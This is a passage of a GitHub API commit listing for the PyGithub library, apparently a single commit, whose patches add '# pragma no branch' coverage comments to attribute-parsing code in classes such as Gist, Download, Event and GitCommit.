pragma no branch\n self.__patch = attributes[ \"patch\" ]\n- if \"raw_url\" in attributes and attributes[ \"raw_url\" ] is not None:\n+ if \"raw_url\" in attributes and attributes[ \"raw_url\" ] is not None: # pragma no branch\n self.__raw_url = attributes[ \"raw_url\" ]\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n self.__sha = attributes[ \"sha\" ]\n- if \"status\" in attributes and attributes[ \"status\" ] is not None:\n+ if \"status\" in attributes and attributes[ \"status\" ] is not None: # pragma no branch\n self.__status = attributes[ \"status\" ]"},{"sha":"772d0eedaf7cf55d3e3e7c6ad040d17de3ec5f80","filename":"src/github/CommitStats.py","status":"modified","additions":3,"deletions":3,"changes":6,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/CommitStats.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/CommitStats.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/src/github/CommitStats.py?ref=8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -32,12 +32,12 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"additions\", \"deletions\", \"total\", ], attribute\n # @todo No need to check if attribute is in attributes when attribute is mandatory\n- if \"additions\" in attributes and attributes[ \"additions\" ] is not None:\n+ if \"additions\" in attributes and attributes[ \"additions\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"additions\" ], int )\n self.__additions = attributes[ \"additions\" ]\n- if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None:\n+ if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"deletions\" ], int )\n self.__deletions = attributes[ \"deletions\" ]\n- if \"total\" in attributes and attributes[ \"total\" ] is not None:\n+ if \"total\" in attributes and attributes[ \"total\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"total\" ], int )\n self.__total = attributes[ \"total\" ]"},{"sha":"28c49231bb6c27f102b9f5d42505764cdcb79089","filename":"src/github/Download.py","status":"modified","additions":20,"deletions":20,"changes":40,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Download.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Download.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/src/github/Download.py?ref=8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -162,43 +162,43 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"accesskeyid\", \"acl\", \"bucket\", \"content_type\", \"created_at\", \"description\", \"download_count\", \"expirationdate\", \"html_url\", \"id\", \"mime_type\", \"name\", \"path\", \"policy\", \"prefix\", \"redirect\", \"s3_url\", \"signature\", \"size\", \"url\", \"x-amz-meta-content-disposition\" ], attribute\n # @todo No need to check if attribute is in attributes when attribute is mandatory\n- if \"accesskeyid\" in attributes and attributes[ \"accesskeyid\" ] is not None:\n+ if \"accesskeyid\" in attributes and attributes[ \"accesskeyid\" ] is not None: # pragma no branch\n self.__accesskeyid = attributes[ \"accesskeyid\" ]\n- if \"acl\" in attributes and attributes[ \"acl\" ] is not None:\n+ if \"acl\" in attributes and attributes[ \"acl\" ] is not None: # pragma no branch\n self.__acl = attributes[ \"acl\" ]\n- if \"bucket\" in attributes and attributes[ \"bucket\" ] is not None:\n+ if \"bucket\" in attributes and attributes[ \"bucket\" ] is not None: # pragma no branch\n self.__bucket = attributes[ \"bucket\" ]\n- if \"content_type\" in attributes and attributes[ \"content_type\" ] is not None:\n+ if \"content_type\" in attributes and attributes[ \"content_type\" ] is not None: # pragma no branch\n self.__content_type = attributes[ \"content_type\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n self.__created_at = attributes[ \"created_at\" ]\n- if \"description\" in attributes and attributes[ \"description\" ] is not None:\n+ if \"description\" in attributes and attributes[ \"description\" ] is not None: # pragma no branch\n self.__description = attributes[ \"description\" ]\n- if \"download_count\" in attributes and attributes[ \"download_count\" ] is not None:\n+ if \"download_count\" in attributes and attributes[ \"download_count\" ] is not None: # pragma no branch\n self.__download_count = attributes[ \"download_count\" ]\n- if \"expirationdate\" in attributes and attributes[ \"expirationdate\" ] is not None:\n+ if \"expirationdate\" in attributes and attributes[ \"expirationdate\" ] is not None: # pragma no branch\n self.__expirationdate = attributes[ \"expirationdate\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"mime_type\" in attributes and attributes[ \"mime_type\" ] is not None:\n+ if \"mime_type\" in attributes and attributes[ \"mime_type\" ] is not None: # pragma no branch\n self.__mime_type = attributes[ \"mime_type\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n self.__name = attributes[ \"name\" ]\n- if \"path\" in attributes and attributes[ \"path\" ] is not None:\n+ if \"path\" in attributes and attributes[ \"path\" ] is not None: # pragma no branch\n self.__path = attributes[ \"path\" ]\n- if \"policy\" in attributes and attributes[ \"policy\" ] is not None:\n+ if \"policy\" in attributes and attributes[ \"policy\" ] is not None: # pragma no branch\n self.__policy = attributes[ \"policy\" ]\n- if \"prefix\" in attributes and attributes[ \"prefix\" ] is not None:\n+ if \"prefix\" in attributes and attributes[ \"prefix\" ] is not None: # pragma no branch\n self.__prefix = attributes[ \"prefix\" ]\n- if \"redirect\" in attributes and attributes[ \"redirect\" ] is not None:\n+ if \"redirect\" in attributes and attributes[ \"redirect\" ] is not None: # pragma no branch\n self.__redirect = attributes[ \"redirect\" ]\n- if \"s3_url\" in attributes and attributes[ \"s3_url\" ] is not None:\n+ if \"s3_url\" in attributes and attributes[ \"s3_url\" ] is not None: # pragma no branch\n self.__s3_url = attributes[ \"s3_url\" ]\n- if \"signature\" in attributes and attributes[ \"signature\" ] is not None:\n+ if \"signature\" in attributes and attributes[ \"signature\" ] is not None: # pragma no branch\n self.__signature = attributes[ \"signature\" ]\n- if \"size\" in attributes and attributes[ \"size\" ] is not None:\n+ if \"size\" in attributes and attributes[ \"size\" ] is not None: # pragma no branch\n self.__size = attributes[ \"size\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]"},{"sha":"f04618e50b93c36d1b454fd3c04eda2304c3f953","filename":"src/github/Event.py","status":"modified","additions":8,"deletions":8,"changes":16,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Event.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Event.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/src/github/Event.py?ref=8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -60,22 +60,22 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"actor\", \"created_at\", \"id\", \"org\", \"payload\", \"public\", \"repo\", \"type\", ], attribute\n # @todo No need to check if attribute is in attributes when attribute is mandatory\n- if \"actor\" in attributes and attributes[ \"actor\" ] is not None:\n+ if \"actor\" in attributes and attributes[ \"actor\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"actor\" ], dict )\n self.__actor = NamedUser.NamedUser( self.__requester, attributes[ \"actor\" ], completion = LazyCompletion )\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n self.__created_at = attributes[ \"created_at\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"org\" in attributes and attributes[ \"org\" ] is not None:\n+ if \"org\" in attributes and attributes[ \"org\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"org\" ], dict )\n self.__org = Organization.Organization( self.__requester, attributes[ \"org\" ], completion = LazyCompletion )\n- if \"payload\" in attributes and attributes[ \"payload\" ] is not None:\n+ if \"payload\" in attributes and attributes[ \"payload\" ] is not None: # pragma no branch\n self.__payload = attributes[ \"payload\" ]\n- if \"public\" in attributes and attributes[ \"public\" ] is not None:\n+ if \"public\" in attributes and attributes[ \"public\" ] is not None: # pragma no branch\n self.__public = attributes[ \"public\" ]\n- if \"repo\" in attributes and attributes[ \"repo\" ] is not None:\n+ if \"repo\" in attributes and attributes[ \"repo\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"repo\" ], dict )\n self.__repo = Repository.Repository( self.__requester, attributes[ \"repo\" ], completion = LazyCompletion )\n- if \"type\" in attributes and attributes[ \"type\" ] is not None:\n+ if \"type\" in attributes and attributes[ \"type\" ] is not None: # pragma no branch\n self.__type = attributes[ \"type\" ]"},{"sha":"56bd080c75f4063321baab79027bddbf48a23063","filename":"src/github/Gist.py","status":"modified","additions":15,"deletions":15,"changes":30,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Gist.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Gist.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/src/github/Gist.py?ref=8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -220,53 +220,53 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"comments\", \"created_at\", \"description\", \"files\", \"fork_of\", \"forks\", \"git_pull_url\", \"git_push_url\", \"history\", \"html_url\", \"id\", \"public\", \"updated_at\", \"url\", \"user\", ], attribute\n # @todo No need to check if attribute is in attributes when attribute is mandatory\n- if \"comments\" in attributes and attributes[ \"comments\" ] is not None:\n+ if \"comments\" in attributes and attributes[ \"comments\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"comments\" ], int )\n self.__comments = attributes[ \"comments\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"description\" in attributes and attributes[ \"description\" ] is not None:\n+ if \"description\" in attributes and attributes[ \"description\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"description\" ], str )\n self.__description = attributes[ \"description\" ]\n- if \"files\" in attributes and attributes[ \"files\" ] is not None:\n+ if \"files\" in attributes and attributes[ \"files\" ] is not None: # pragma no branch\n self.__files = attributes[ \"files\" ]\n- if \"fork_of\" in attributes and attributes[ \"fork_of\" ] is not None:\n+ if \"fork_of\" in attributes and attributes[ \"fork_of\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"fork_of\" ], dict )\n self.__fork_of = Gist( self.__requester, attributes[ \"fork_of\" ], completion = LazyCompletion )\n- if \"forks\" in attributes and attributes[ \"forks\" ] is not None:\n+ if \"forks\" in attributes and attributes[ \"forks\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"forks\" ], list ) and ( len( attributes[ \"forks\" ] ) == 0 or isinstance( attributes[ \"forks\" ][ 0 ], dict ) )\n self.__forks = [\n Gist( self.__requester, element, completion = LazyCompletion )\n for element in attributes[ \"forks\" ]\n ]\n- if \"git_pull_url\" in attributes and attributes[ \"git_pull_url\" ] is not None:\n+ if \"git_pull_url\" in attributes and attributes[ \"git_pull_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"git_pull_url\" ], str )\n self.__git_pull_url = attributes[ \"git_pull_url\" ]\n- if \"git_push_url\" in attributes and attributes[ \"git_push_url\" ] is not None:\n+ if \"git_push_url\" in attributes and attributes[ \"git_push_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"git_push_url\" ], str )\n self.__git_push_url = attributes[ \"git_push_url\" ]\n- if \"history\" in attributes and attributes[ \"history\" ] is not None:\n+ if \"history\" in attributes and attributes[ \"history\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"history\" ], list ) and ( len( attributes[ \"history\" ] ) == 0 or isinstance( attributes[ \"history\" ][ 0 ], dict ) )\n self.__history = [\n GistHistoryState.GistHistoryState( self.__requester, element, completion = LazyCompletion )\n for element in attributes[ \"history\" ]\n ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"html_url\" ], str )\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], str )\n self.__id = attributes[ \"id\" ]\n- if \"public\" in attributes and attributes[ \"public\" ] is not None:\n+ if \"public\" in attributes and attributes[ \"public\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"public\" ], bool )\n self.__public = attributes[ \"public\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"updated_at\" ], str )\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion )"},{"sha":"a595ca288f230fbe30416bc854cc8df51682fb65","filename":"src/github/GistComment.py","status":"modified","additions":6,"deletions":6,"changes":12,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GistComment.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GistComment.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/src/github/GistComment.py?ref=8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -68,16 +68,16 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"body\", \"created_at\", \"id\", \"updated_at\", \"url\", \"user\", ], attribute\n # @todo No need to check if attribute is in attributes when attribute is mandatory\n- if \"body\" in attributes and attributes[ \"body\" ] is not None:\n+ if \"body\" in attributes and attributes[ \"body\" ] is not None: # pragma no branch\n self.__body = attributes[ \"body\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n self.__created_at = attributes[ \"created_at\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion )"},{"sha":"d325a2b14180a808327beb752c8365467ff4872f","filename":"src/github/GistHistoryState.py","status":"modified","additions":5,"deletions":5,"changes":10,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GistHistoryState.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GistHistoryState.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/src/github/GistHistoryState.py?ref=8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -44,18 +44,18 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"change_status\", \"committed_at\", \"url\", \"user\", \"version\", ], attribute\n # @todo No need to check if attribute is in attributes when attribute is mandatory\n- if \"change_status\" in attributes and attributes[ \"change_status\" ] is not None:\n+ if \"change_status\" in attributes and attributes[ \"change_status\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"change_status\" ], dict )\n self.__change_status = CommitStats.CommitStats( self.__requester, attributes[ \"change_status\" ], completion = LazyCompletion )\n- if \"committed_at\" in attributes and attributes[ \"committed_at\" ] is not None:\n+ if \"committed_at\" in attributes and attributes[ \"committed_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"committed_at\" ], str )\n self.__committed_at = attributes[ \"committed_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion )\n- if \"version\" in attributes and attributes[ \"version\" ] is not None:\n+ if \"version\" in attributes and attributes[ \"version\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"version\" ], str )\n self.__version = attributes[ \"version\" ]"},{"sha":"2c710f56cfbe950099e74565680aee6ef2a20402","filename":"src/github/GitAuthor.py","status":"modified","additions":3,"deletions":3,"changes":6,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitAuthor.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitAuthor.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/src/github/GitAuthor.py?ref=8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -32,12 +32,12 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"date\", \"email\", \"name\", ], attribute\n # @todo No need to check if attribute is in attributes when attribute is mandatory\n- if \"date\" in attributes and attributes[ \"date\" ] is not None:\n+ if \"date\" in attributes and attributes[ \"date\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"date\" ], str )\n self.__date = attributes[ \"date\" ]\n- if \"email\" in attributes and attributes[ \"email\" ] is not None:\n+ if \"email\" in attributes and attributes[ \"email\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"email\" ], str )\n self.__email = attributes[ \"email\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]"},{"sha":"4defbde8b71269490ca951e836b5b1e1c540cb64","filename":"src/github/GitBlob.py","status":"modified","additions":5,"deletions":5,"changes":10,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitBlob.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitBlob.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/src/github/GitBlob.py?ref=8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -42,18 +42,18 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"content\", \"encoding\", \"sha\", \"size\", \"url\", ], attribute\n # @todo No need to check if attribute is in attributes when attribute is mandatory\n- if \"content\" in attributes and attributes[ \"content\" ] is not None:\n+ if \"content\" in attributes and attributes[ \"content\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"content\" ], str )\n self.__content = attributes[ \"content\" ]\n- if \"encoding\" in attributes and attributes[ \"encoding\" ] is not None:\n+ if \"encoding\" in attributes and attributes[ \"encoding\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"encoding\" ], str )\n self.__encoding = attributes[ \"encoding\" ]\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"sha\" ], str )\n self.__sha = attributes[ \"sha\" ]\n- if \"size\" in attributes and attributes[ \"size\" ] is not None:\n+ if \"size\" in attributes and attributes[ \"size\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"size\" ], int )\n self.__size = attributes[ \"size\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]"},{"sha":"13382cd7ac3c062fdb71e0873b223dbdd18f244e","filename":"src/github/GitCommit.py","status":"modified","additions":7,"deletions":7,"changes":14,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitCommit.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitCommit.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/src/github/GitCommit.py?ref=8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -55,27 +55,27 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"author\", \"committer\", \"message\", \"parents\", \"sha\", \"tree\", \"url\", ], attribute\n # @todo No need to check if attribute is in attributes when attribute is mandatory\n- if \"author\" in attributes and attributes[ \"author\" ] is not None:\n+ if \"author\" in attributes and attributes[ \"author\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"author\" ], dict )\n self.__author = GitAuthor.GitAuthor( self.__requester, attributes[ \"author\" ], completion = LazyCompletion )\n- if \"committer\" in attributes and attributes[ \"committer\" ] is not None:\n+ if \"committer\" in attributes and attributes[ \"committer\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"committer\" ], dict )\n self.__committer = GitAuthor.GitAuthor( self.__requester, attributes[ \"committer\" ], completion = LazyCompletion )\n- if \"message\" in attributes and attributes[ \"message\" ] is not None:\n+ if \"message\" in attributes and attributes[ \"message\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"message\" ], str )\n self.__message = attributes[ \"message\" ]\n- if \"parents\" in attributes and attributes[ \"parents\" ] is not None:\n+ if \"parents\" in attributes and attributes[ \"parents\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"parents\" ], list ) and ( len( attributes[ \"parents\" ] ) == 0 or isinstance( attributes[ \"parents\" ][ 0 ], dict ) )\n self.__parents = [\n GitCommit( self.__requester, element, completion = LazyCompletion )\n for element in attributes[ \"parents\" ]\n ]\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"sha\" ], str )\n self.__sha = attributes[ \"sha\" ]\n- if \"tree\" in attributes and attributes[ \"tree\" ] is not None:\n+ if \"tree\" in attributes and attributes[ \"tree\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"tree\" ], dict )\n self.__tree = GitTree.GitTree( self.__requester, attributes[ \"tree\" ], completion = LazyCompletion )\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]"},{"sha":"05e3067c1014ce22ced1faca83a74fa9215fd97e","filename":"src/github/GitObject.py","status":"modified","additions":3,"deletions":3,"changes":6,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitObject.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitObject.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/src/github/GitObject.py?ref=8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -32,12 +32,12 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"sha\", \"type\", \"url\", ], attribute\n # @todo No need to check if attribute is in attributes when attribute is mandatory\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"sha\" ], str )\n self.__sha = attributes[ \"sha\" ]\n- if \"type\" in attributes and attributes[ \"type\" ] is not None:\n+ if \"type\" in attributes and attributes[ \"type\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"type\" ], str )\n self.__type = attributes[ \"type\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]"},{"sha":"bfc8d91335cf0f81694a81ce534d79988f1bb0fe","filename":"src/github/GitRef.py","status":"modified","additions":3,"deletions":3,"changes":6,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitRef.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitRef.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/src/github/GitRef.py?ref=8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -55,12 +55,12 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"object\", \"ref\", \"url\", ], attribute\n # @todo No need to check if attribute is in attributes when attribute is mandatory\n- if \"object\" in attributes and attributes[ \"object\" ] is not None:\n+ if \"object\" in attributes and attributes[ \"object\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"object\" ], dict )\n self.__object = GitObject.GitObject( self.__requester, attributes[ \"object\" ], completion = LazyCompletion )\n- if \"ref\" in attributes and attributes[ \"ref\" ] is not None:\n+ if \"ref\" in attributes and attributes[ \"ref\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"ref\" ], str )\n self.__ref = attributes[ \"ref\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]"},{"sha":"532d3a056c2490883f826da7369067a24d001055","filename":"src/github/GitTag.py","status":"modified","additions":6,"deletions":6,"changes":12,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitTag.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitTag.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/src/github/GitTag.py?ref=8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -49,21 +49,21 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"message\", \"object\", \"sha\", \"tag\", \"tagger\", \"url\", ], attribute\n # @todo No need to check if attribute is in attributes when attribute is mandatory\n- if \"message\" in attributes and attributes[ \"message\" ] is not None:\n+ if \"message\" in attributes and attributes[ \"message\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"message\" ], str )\n self.__message = attributes[ \"message\" ]\n- if \"object\" in attributes and attributes[ \"object\" ] is not None:\n+ if \"object\" in attributes and attributes[ \"object\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"object\" ], dict )\n self.__object = GitObject.GitObject( self.__requester, attributes[ \"object\" ], completion = LazyCompletion )\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"sha\" ], str )\n self.__sha = attributes[ \"sha\" ]\n- if \"tag\" in attributes and attributes[ \"tag\" ] is not None:\n+ if \"tag\" in attributes and attributes[ \"tag\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"tag\" ], str )\n self.__tag = attributes[ \"tag\" ]\n- if \"tagger\" in attributes and attributes[ \"tagger\" ] is not None:\n+ if \"tagger\" in attributes and attributes[ \"tagger\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"tagger\" ], dict )\n self.__tagger = GitAuthor.GitAuthor( self.__requester, attributes[ \"tagger\" ], completion = LazyCompletion )\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" 